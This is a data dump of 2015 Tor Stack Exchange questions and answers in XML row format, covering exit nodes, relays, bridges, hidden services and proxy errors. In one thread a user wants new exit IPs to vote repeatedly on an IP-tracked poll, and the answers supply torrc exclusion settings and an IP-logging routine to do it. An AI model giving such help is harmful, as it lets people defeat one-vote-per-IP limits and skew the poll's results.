  <row Id="6242" PostTypeId="2" ParentId="6234" CreationDate="2015-02-19T04:58:33.910" Score="-1" Body="&lt;p&gt;There are ways to do what you are looking for, but it is much more hassle than requesting a new identity if you did not like your previous identity. Thus, clicking new identity bottom more than once, if you did not like a new identity you get the first time. In any case clicking a new identity bottom should not be that much of a hassle.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2015-02-19T04:58:33.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6243" PostTypeId="2" ParentId="6235" CreationDate="2015-02-19T05:57:03.053" Score="1" Body="&lt;p&gt;There are some answers to your question in this Q&amp;amp;A: &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips/3608#3608&quot;&gt;How to run multiple Tor browsers with different IPs?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I have not tried them so I can not testify that these methods work. However, there is one other method suggested here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may setup your computer with Two or several operating systems. In each operating system you may run an independent Tor Browser. I have not tried this, but you may even be able to create different identities in given operating system, and try to run a different Tor Browser in each of these different identities.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-20T03:34:42.393" LastActivityDate="2015-02-20T03:34:42.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6244" PostTypeId="2" ParentId="6239" CreationDate="2015-02-19T10:46:37.553" Score="1" Body="&lt;p&gt;By &lt;em&gt;your network&lt;/em&gt; you mean the local network? It is true that Tor hidden services are mapped to a port on &lt;code&gt;127.0.0.1&lt;/code&gt;, but that port is mapped to a Tor relay node. That means the connections arrivinng to your hidden services will appear as coming from &lt;code&gt;127.0.0.1&lt;/code&gt;, but in the fact they're comming from the relay node, and vice versa. So the traffic will appear as a loopback or local traffic, but in reality it is a traffic with the outside network like a normal (non-hidden) service would consume.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-19T10:46:37.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6245" PostTypeId="1" CreationDate="2015-02-19T15:23:37.447" Score="2" ViewCount="230" Body="&lt;p&gt;When I tried to use Tor with VPN it worked at my home network but when I tried at my university it can't open as they have blocked Tor so I have to use VPN which I'm sure they haven't  blocked, but when I Try to execute Tor didn't start.&lt;/p&gt;&#xA;" OwnerUserId="6762" LastEditorUserId="923" LastEditDate="2015-02-19T15:44:23.403" LastActivityDate="2015-02-19T15:44:23.403" Title="How to use Tor via VPN and with help of bridges?" Tags="|configuration|bridge|censorship|vpn|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6246" PostTypeId="1" CreationDate="2015-02-19T15:41:05.163" Score="3" ViewCount="517" Body="&lt;p&gt;I successfully setup my Tor relay last night, and it has been running for a few hours now. But looking at it this morning, it is not getting that much advertised bandwidth. It has gone up since the first few hours last night, but not by much. Is this due to not much usage through my relay?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I noticed that my &quot;RelayBandwidthRate/Burst&quot; are still commented out because I guess I missed that last night during my initial setup. Does this mean that I am giving off unlimited bandwidth, or is it capped at the 100 KB for the BandwidthRate and 200 KB for the BandwidthBurst even though they are still commented out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My relay works just fine, the log isn't throwing any errors, it's just the bandwidth that is a little low. Sorry for the noob questions, and thank you very much for your help!&lt;/p&gt;&#xA;" OwnerUserId="6763" LastEditorUserId="6763" LastEditDate="2015-02-19T18:39:23.353" LastActivityDate="2015-02-26T13:22:09.677" Title="Default relay bandwidth?" Tags="|relays|bandwidth|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6247" PostTypeId="1" AcceptedAnswerId="6254" CreationDate="2015-02-19T15:48:19.403" Score="3" ViewCount="199" Body="&lt;p&gt;I am using Tor to vote on a poll that tracks the IP address of the voter. Upon clicking new identity sometimes I get a previous used exit node instead of a new one. Is there a way to prevent that from happening? I am only trying to do it for 3 days. I know there are some similar questions already asked, but they were unanswered. &lt;/p&gt;&#xA;" OwnerUserId="6764" LastEditorUserId="923" LastEditDate="2015-02-19T16:21:06.100" LastActivityDate="2015-02-23T19:44:20.217" Title="New exit node with new identity that hasn't already been used?" Tags="|anonymity|identity-change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6248" PostTypeId="2" ParentId="6234" CreationDate="2015-02-19T18:29:45.033" Score="1" Body="&lt;p&gt;If one is really interested to do what you are looking for, and does not want to go the easy way of requesting a new identity, there are ways to do this. One of these solutions will be presented here. But be advised that this solution is tedious, and nobody probably have ever used it, because it is much more cumbersome than requesting a new identity. Now that you have your warning! here it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You start the Tor Browser and record your exit node IP address. Once you are done with this session of Tor browser and want to request a new identity, do not do so. Close the Tor Browser, and edit your torrc file. Add these lines to torrc file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExcludeExitNodes node,node,_&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;StrictNodes 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You need to enter the identifying information of the last exit node at the place of node in ExcludeExitNodes command and save the torrc file and start Tor Browser again. You will need to repeat this process every time you are done with a given exit node and add the second, third, forth, and so on exit nodes that you have used to the torrc file. Very tedious and cumbersome task as I warned you beforehand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For additional information look at this quote from Tor manual:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExcludeExitNodes node,node,…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A list of identity fingerprints, nicknames, country codes and address&#xA;  patterns of nodes to never use when picking an exit node---that is, a&#xA;  node that delivers traffic for you outside the Tor network. Note that&#xA;  any node listed in ExcludeNodes is automatically considered to be part&#xA;  of this list too. See also the caveats on the &quot;ExitNodes&quot; option&#xA;  below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And this quote from Tor manual:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;StrictNodes 0|1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If StrictNodes is set to 1, Tor will treat the ExcludeNodes option as&#xA;  a requirement to follow for all the circuits you generate, even if&#xA;  doing so will break functionality for you. If StrictNodes is set to 0,&#xA;  Tor will still try to avoid nodes in the ExcludeNodes list, but it&#xA;  will err on the side of avoiding unexpected errors. Specifically,&#xA;  StrictNodes 0 tells Tor that it is okay to use an excluded node when&#xA;  it is necessary to perform relay reachability self-tests, connect to a&#xA;  hidden service, provide a hidden service to a client, fulfill a .exit&#xA;  request, upload directory information, or download directory&#xA;  information. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Additional information beyond this is availble in Tor manual: &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-19T18:43:38.130" LastActivityDate="2015-02-19T18:43:38.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6249" PostTypeId="1" CreationDate="2015-02-19T21:15:27.507" Score="2" ViewCount="603" Body="&lt;p&gt;I have a Windows server I hardly use, and I decided that I wanted to use it to run a Tor bridge.  I've been trying all morning to figure out how to set it up to no avail.  Most of the tutorials I've found online want me to install the Tor Vidalia Bridge Bundle, but Tor seems to no longer distribute that on their official site.  The only things available are the browser bundle and the expert bundle.  The expert bundle only contains tor.exe, which when run through the command line produces no output.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set up my server to run a Tor bridge?  Am I missing some obvious article on their site that provides a step-by-step guide?  Am I failing to Google properly?&lt;/p&gt;&#xA;" OwnerUserId="6765" LastEditorUserId="923" LastEditDate="2015-02-20T03:16:45.753" LastActivityDate="2015-02-20T07:51:53.013" Title="Setting up a Tor bridge?" Tags="|relays|bridge|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6250" PostTypeId="1" CreationDate="2015-02-19T22:02:49.637" Score="2" ViewCount="418" Body="&lt;p&gt;Started running a relay from my home network. Getting a bit of traffic now. Wondering if it would be beneficial to run my Tor connections through it. It seems to be able to mask my use of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly, I can use Entry Nodes in the config but I'm not sure if that would achieve what I want or be a good idea.&lt;/p&gt;&#xA;" OwnerUserId="6766" LastEditorUserId="923" LastEditDate="2015-02-20T03:22:52.647" LastActivityDate="2015-02-27T16:30:24.237" Title="If I run a relay on my home network should I use it as my guard node?" Tags="|relays|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6251" PostTypeId="1" CreationDate="2015-02-20T01:44:36.607" Score="6" ViewCount="12038" Body="&lt;p&gt;I've followed a couple of tutorials here, but still, I can't connect to my hidden service via FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed a tutorial, here: &lt;a href=&quot;https://tor.stackexchange.com/questions/1016/how-can-i-anonymize-my-ftp-traffic-using-the-tor-network&quot;&gt;How can I anonymize my FTP traffic using the Tor network?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All successful, but currently FTP works locally in my Debian VPS (If I try to )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But doesn't work outside. Just like that tutorial said I have my second .onion address dedicated only to FTP service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for me is really unclear how should I transfer (upload and download) files from Tor Browser. I just see a list of Folders&amp;amp;Files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you to anyone that has patience to help me out!&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="923" LastEditDate="2015-02-20T03:24:59.077" LastActivityDate="2017-03-25T12:37:26.920" Title="How to use FTP with Tor?" Tags="|onion-services|debian|vps|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6252" PostTypeId="1" CreationDate="2015-02-20T02:11:52.223" Score="5" ViewCount="12337" Body="&lt;p&gt;I am looking for some documentation or guide on setting up a Tor hidden service on android, would I just install Tor? Does it torify everything and act like an app. which has a services like nginx or Apache.&lt;/p&gt;&#xA;" OwnerUserId="6768" LastEditorUserId="923" LastEditDate="2015-02-20T11:16:41.723" LastActivityDate="2018-12-24T13:31:13.757" Title="How does one setup a Tor hidden service on android" Tags="|onion-services|configuration|android|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6253" PostTypeId="2" ParentId="6250" CreationDate="2015-02-20T03:56:17.080" Score="1" Body="&lt;p&gt;You may use your own relay as a guard only if your relay is accepted as a guard in Tor network. Not all relays will be accepted as a guard in Tor network. It needs to be stable relay first, if a relay does not get the stable status first, it will never become a guard (entry node). However, being stable relay is necessary, but not sufficient to become a guard. The relay should also be fast enough to become a relay after some waiting period. The definition of fast enough will change from time to time, but currently, I believe the relay should be among top 25% of all relays in term of speed to have a chance to become a relay after some waiting period. I believe this waiting period to be about 90 days at this time.&#xA;Now, once your relay get the status of being guard, you may think about if you like to use it as your own guard. Technically, it may have some advantages to use your own relay which has obtained the status of being guard in Tor network as your own guard because it may mask your own traffic. But do not jump in to conclusion too fast, this will all come to nothing if there is a malware in your system. Read this question for more information: &lt;a href=&quot;https://tor.stackexchange.com/questions/6231/equation-the-death-star-of-malware-galaxy-how-much-does-it-compromise-tails&quot;&gt;Equation: The Death Star of Malware Galaxy, How much does it compromise Tails?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-27T16:30:24.237" LastActivityDate="2015-02-27T16:30:24.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6254" PostTypeId="2" ParentId="6247" CreationDate="2015-02-20T04:05:44.310" Score="2" Body="&lt;p&gt;You may refer to this Q&amp;amp;A to get some information about your question: &lt;a href=&quot;https://tor.stackexchange.com/questions/6234/how-can-i-get-a-different-exit-node-ip-each-time-i-get-a-new-identity&quot;&gt;How can I get a different exit node IP each time I get a new identity?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, the easiest way, is to record your exit node, then once you are done with it, request a the new identity, check the new exit node of new identity, and if it is same as one of your previous exit node, request a new identity again until the exit node is different than all your previous exit nodes. Another way is mentioned in the reference Q&amp;amp;A mentioned above, but it is tedious and cumbersome. I personally will not implement that method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check the exit node, once you started the Tor browser you will see 'about:tor' page which says:&#xA; &lt;strong&gt;Congratulations!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This browser is configured to use Tor.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You are now free to browse the Internet anonymously.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Test Tor Network Settings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click The test Tor Network Setting &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you get to this page:  &lt;a href=&quot;https://check.torproject.org/?lang=en_US&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/?lang=en_US&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this page you can see your IP address.  This is your exit IP address.  Record it on a paper for your future reference. Then proceed to do what you want to do. If it does not take more than 10 minutes, you probably stay with this exit node. Once you are done with your business and you are ready to request a new identity. Click the new identity bottom and do the same thing as I mentioned before. Again record your IP address which is your exit IP address as before on the paper and make sure it is not same as last time. If it is same as last time, again request a new identity and check the IP address again. You have to do this each time you request a new identity and keep writing the IP addresses. After a while you would have a list of IP addresses which you need to check the IP address of your new identity against this enlarging list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some words of caution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The exit node might be from anywhere on the Globe. If you are interested in special geographical location and want your exit IP address to be from that general geographical location, look at these Q&amp;amp;As for more information:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/5977/whats-the-correct-syntax-for-listing-multiple-exitnodes/5978#5978&quot;&gt;What&amp;#39;s the correct syntax for listing multiple ExitNodes?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/733/can-i-exit-from-a-specific-country-or-node&quot;&gt;Can I exit from a specific country or node?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Tor network may use several exit IP address concurrently. This may or may not interfer with what you want to do. Look at these Q&amp;amp;As for more information:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1230/when-i-use-tor-occasionally-i-get-two-different-ip-address-simultaneously&quot;&gt;When I use Tor, occasionally I get two different IP address simultaneously&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1378/is-it-possible-to-know-which-entry-node-middle-node-and-exit-node-one-is-using&quot;&gt;Is it possible to know which entry node, middle node, and exit node one is using while using TBB?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2015-02-23T19:44:20.217" LastActivityDate="2015-02-23T19:44:20.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6256" PostTypeId="2" ParentId="3898" CreationDate="2015-02-20T08:51:15.943" Score="2" Body="&lt;p&gt;You can use &lt;code&gt;tor-gateways.de&lt;/code&gt; where you can use one of the following syntaxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://.s1.tor-gateways.de/&#xA;https://*.s1.tor-gateways.de&#xA;https://.s2.tor-gateways.de/&#xA;https://*.s2.tor-gateways.de&#xA;https://.s3.tor-gateways.de/&#xA;https://*.s3.tor-gateways.de&#xA;https://.s4.tor-gateways.de/&#xA;https://*.s4.tor-gateways.de&#xA;https://.s5.tor-gateways.de/&#xA;https://*.s5.tor-gateways.de&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6771" LastEditorUserId="1880" LastEditDate="2015-02-20T14:18:49.927" LastActivityDate="2015-02-20T14:18:49.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6257" PostTypeId="1" CreationDate="2015-02-20T10:49:10.617" Score="2" ViewCount="70" Body="&lt;p&gt;I am making a java implementation of onion routing. The routers in the path on decrypting the received data , are able to device their position in the circuit by knowing the length of the received data. Is it acceptable that routers know their position in the circuit?&lt;/p&gt;&#xA;" OwnerUserId="6772" LastEditorUserId="923" LastEditDate="2015-02-20T11:18:29.097" LastActivityDate="2015-03-09T15:01:08.553" Title="Does the onion routers know their position in the circuit?" Tags="|tor-browser-bundle|development|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6258" PostTypeId="2" ParentId="6252" CreationDate="2015-02-20T15:18:06.723" Score="1" Body="&lt;p&gt;You could install orbot and use the following proxy settings. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SOCKS 4A/5 proxy 127.0.0.1:9050&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;HTTP proxy 127.0.0.1:8118&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6775" LastEditorUserId="923" LastEditDate="2015-02-20T15:24:34.573" LastActivityDate="2015-02-20T15:24:34.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6259" PostTypeId="1" AcceptedAnswerId="6265" CreationDate="2015-02-20T15:57:46.983" Score="3" ViewCount="71" Body="&lt;p&gt;I got my relay working just fine, torrc is all configured to my liking, etc. But when I checked Atlas and Globe to see the bandwidth differences between when I went to bed last night and when I got up this morning, the graph for the bandwidth is exactly the same as I went to bed last night, and the graph has a large white space with no data in it, like it's not updating. So my question is, did I break something, or is it just delayed that much between updating?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that it has been roughly 12 hours between when I checked before I went to bed, and when I checked when I got up. And the &quot;Weights&quot; graph on Globe and Atlas have been updating normally, giving me information about the probability for the usage of my exit node, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I check out any logs for errors, there is nothing wrong with Tor. It restarts a few times, gives me info about how much data it has sent and received, but no major errors.&lt;/p&gt;&#xA;" OwnerUserId="6763" LastEditorUserId="6763" LastEditDate="2015-02-20T16:28:56.653" LastActivityDate="2015-02-21T18:32:51.750" Title="Is it me or the relay info websites?" Tags="|relays|bandwidth|atlas|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6260" PostTypeId="1" CreationDate="2015-02-20T17:24:19.647" Score="1" ViewCount="226" Body="&lt;p&gt;I have been able to download Tor's main site but I can't get the Tor browser. I'm trying to do this with an iPod touch. Can anyone help me please &lt;/p&gt;&#xA;" OwnerUserId="6776" LastEditorUserId="923" LastEditDate="2015-02-22T06:56:46.970" LastActivityDate="2015-02-22T06:56:46.970" Title="I need help downloading Tor browser" Tags="|help|ios|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6261" PostTypeId="2" ParentId="6260" CreationDate="2015-02-20T21:05:10.357" Score="1" Body="&lt;p&gt;The Tor Browser is not an application for an iPod touch. The applications on Tor's website that are available currently are only supported by Windows Computers, Apple Computers, and Linux Computers. There are applications for Android on the Google Play Store that are really well done as well. I am not familiar with any apps on the App Store that will connect you to Tor.&lt;/p&gt;&#xA;" OwnerUserId="6763" LastActivityDate="2015-02-20T21:05:10.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6264" PostTypeId="1" AcceptedAnswerId="6359" CreationDate="2015-02-21T05:16:34.293" Score="3" ViewCount="402" Body="&lt;p&gt;I was under the impression that exit relays are only ever used as exit relays, however, recently I read a paper that stated that exit relays can be selected as guards or middle nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true?&lt;br/&gt;&#xA;I run an exit relay and on Tor Atlas my relay is listed as having a probability of being selected as a guard as 0%. The same seems to be true for being selected as a middle.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2015-03-07T22:51:02.773" Title="Can exit relays be selected as middle or guard nodes?" Tags="|relays|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6265" PostTypeId="2" ParentId="6259" CreationDate="2015-02-21T18:32:51.750" Score="1" Body="&lt;p&gt;Is your relay a new relay or a relatively new one? If yes, that behavior is normal. New relays need few days before they start functioning as real relays. For more details about a relay lifecycle, &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; is an excellent read.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-02-21T18:32:51.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6266" PostTypeId="1" CreationDate="2015-02-22T01:49:41.727" Score="4" ViewCount="469" Body="&lt;p&gt;I've been tinkering with Tor for a while, and can't figure out a way to do this. I would like for each window to have its own identity, to allow me to be logged into multiple accounts on a website. Unfortunately, Tor has nothing that allows you to be able to have independent identities per window, or a way to prevent a website from sharing your log in status to the next window. To my knowledge, anyways. Keep in mind, I want to be able to log into multiple accounts, simultaneously, on the same website. So no &quot;just log out or get a new identity&quot; please, lol. I hope someone has the solution to my issue.&lt;/p&gt;&#xA;" OwnerUserId="6783" LastEditorUserId="923" LastEditDate="2015-02-22T06:52:44.097" LastActivityDate="2016-02-07T12:20:58.943" Title="New Identity Per Window" Tags="|tor-browser-bundle|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6267" PostTypeId="2" ParentId="788" CreationDate="2015-02-22T13:15:17.520" Score="2" Body="&lt;p&gt;I tried all these so-called fixes with the socksport 9050 to 9150 and none worked. What finally worked for me was completely uninstall Tor Browser and download and re-install Tor Browser. Do not re-install before un-installing first. I had been wrestling with this for a couple weeks off and on. Just do it.&lt;/p&gt;&#xA;" OwnerUserId="6784" LastActivityDate="2015-02-22T13:15:17.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6268" PostTypeId="1" CreationDate="2015-02-23T03:01:43.200" Score="7" ViewCount="670" Body="&lt;p&gt;Normally I log-in my google plus page using the Tor Browser. However, I cannot use hangouts in google plus. It says &quot;please sign in to chat with your friends&quot;. I have tried many times to sign in, but it always fails. Why? &lt;/p&gt;&#xA;" OwnerUserId="4969" LastEditorUserId="9638" LastEditDate="2015-11-20T00:00:36.733" LastActivityDate="2016-09-07T01:51:04.513" Title="I cannot log-in, in hangout when using Tor Browser" Tags="|tor-browser-bundle|login|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6271" PostTypeId="1" AcceptedAnswerId="6375" CreationDate="2015-02-23T17:35:48.570" Score="4" ViewCount="2628" Body="&lt;p&gt;&lt;strong&gt;I will presage the expected warnings before posting my question: I fully understand the security risks involved using single hops, however, with regards to my goals I have &lt;em&gt;zero&lt;/em&gt; need for anonymity.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interested in archiving the contents of several Tor hidden services e.g. discussion forums, and am not intent on doing anything that might demand privacy. As a consequence, my interest is having a high bandwidth connection to these websites, with no need to remain anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that one may re-compile Tor to create single hop circuits e.g. &lt;a href=&quot;https://tor.stackexchange.com/questions/1312/how-to-decrease-number-of-tor-hops&quot;&gt;How to decrease number of Tor hops?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also understand that while one may wish to construct a single hop circuit, very few relays have the single hop exit option enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are two-fold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Can Tor hidden services detect that a client is using just a single hop, and reject the connection?&lt;/strong&gt; I have been advised by someone that this does occur, but I am unable to find anything that indicates that this indeed the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Is the below configuration possible?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Re-compile Tor to allow for single hops.&lt;/li&gt;&#xA;&lt;li&gt;Using a second instance of Tor, create a relay allowing single hop exits.&lt;/li&gt;&#xA;&lt;li&gt;Configure the re-compiled Tor to use this exit relay&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6790" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-01-28T16:06:57.997" Title="Accessing Tor hidden services over a single hop circuit" Tags="|configuration|exit-relays|circuit|exit-policies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6272" PostTypeId="1" CreationDate="2015-02-23T21:47:09.883" Score="6" ViewCount="232" Body="&lt;p&gt;In the consensus files there are bandwidth specifications for every router. This (consensus) data originates from the directory authorities votes, which contain a bandwidth as well as measured bandwidth specification for every router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The calculation for these different bandwidth data is kind of complex.&#xA;&lt;strong&gt;My question is, how the bandwidth for the votes is calculated.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vote measured bandwidth is being &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;computed by multiplying the previous published consensus bandwidth by&#xA;  the ratio of the measured average node stream capacity to the network&#xA;  average.&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The consensus bandwidth is the median of the voted measured bandwidth data, if 3 or more directory authorities have measured bandwidth data for this relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the voted bandwidth data, dirspec is unspecific:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The bandwidth in a &quot;w&quot; line should be taken as the best estimate&#xA;     of the router's actual capacity that the authority has.  For now,&#xA;     this should be the lesser of the observed bandwidth and bandwidth&#xA;     rate limit from the router descriptor.  It is given in kilobytes&#xA;     per second, and capped at some arbitrary value (currently 10 MB/s).&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I already looked at or/dirserv.c as well as or/dirvote.c to finde an answer, how this bandwidth data for the votes is being computed. I even parsed some archive data, and it looks like, as there is a dependency between the bandwidth data from the votes and the advocated Bandwidth form the router status files (sever-descriptors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone can explain how and even why this bandwidth data is computed, I would be very happy. &lt;/p&gt;&#xA;" OwnerUserId="5191" LastEditorUserId="5191" LastEditDate="2015-02-23T21:52:48.843" LastActivityDate="2016-01-25T18:02:18.507" Title="Calculation of bandwidth and measured-bandwidth for votes" Tags="|directory|bandwidth|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6274" PostTypeId="1" CreationDate="2015-02-24T02:05:45.913" Score="2" ViewCount="885" Body="&lt;p&gt;I successfully installed Tor on my debian vps. Is there a way to connect my cell phone or another computer to Tor network using my vps? If there is a way, how should I set it up to work?&lt;/p&gt;&#xA;" OwnerUserId="6795" LastEditorUserId="923" LastEditDate="2015-02-24T08:26:50.780" LastActivityDate="2015-02-26T13:44:00.917" Title="Can I install Tor on debian vps and then use the vps IP address: 9150 to connect my cellphone or another computer to Tor network?" Tags="|debian|vps|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6276" PostTypeId="1" CreationDate="2015-02-24T11:03:42.537" Score="3" ViewCount="240" Body="&lt;p&gt;I'm behind a corporate proxy, Tor always worked fine (using bridges) until few days ago, it seems that now the proxy only accepts TLS connections (no SSLv2/v3); Is there a way to solve this issue?&#xA;I can only connect to addresses on ports 80-443&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn)&#xA;[WARN] 7 connections have failed:&#xA;[WARN] 6 connections died in state handshaking (proxy) with SSL state (No SSL object)&#xA;[WARN] 1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6800" LastEditorUserId="107" LastEditDate="2015-03-11T17:58:29.100" LastActivityDate="2016-01-05T23:48:26.800" Title="Unable to connect to Tor network using TLS" Tags="|censorship|web-proxy|tls|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-06-15T06:48:12.293" ContentLicense="CC BY-SA 3.0" />
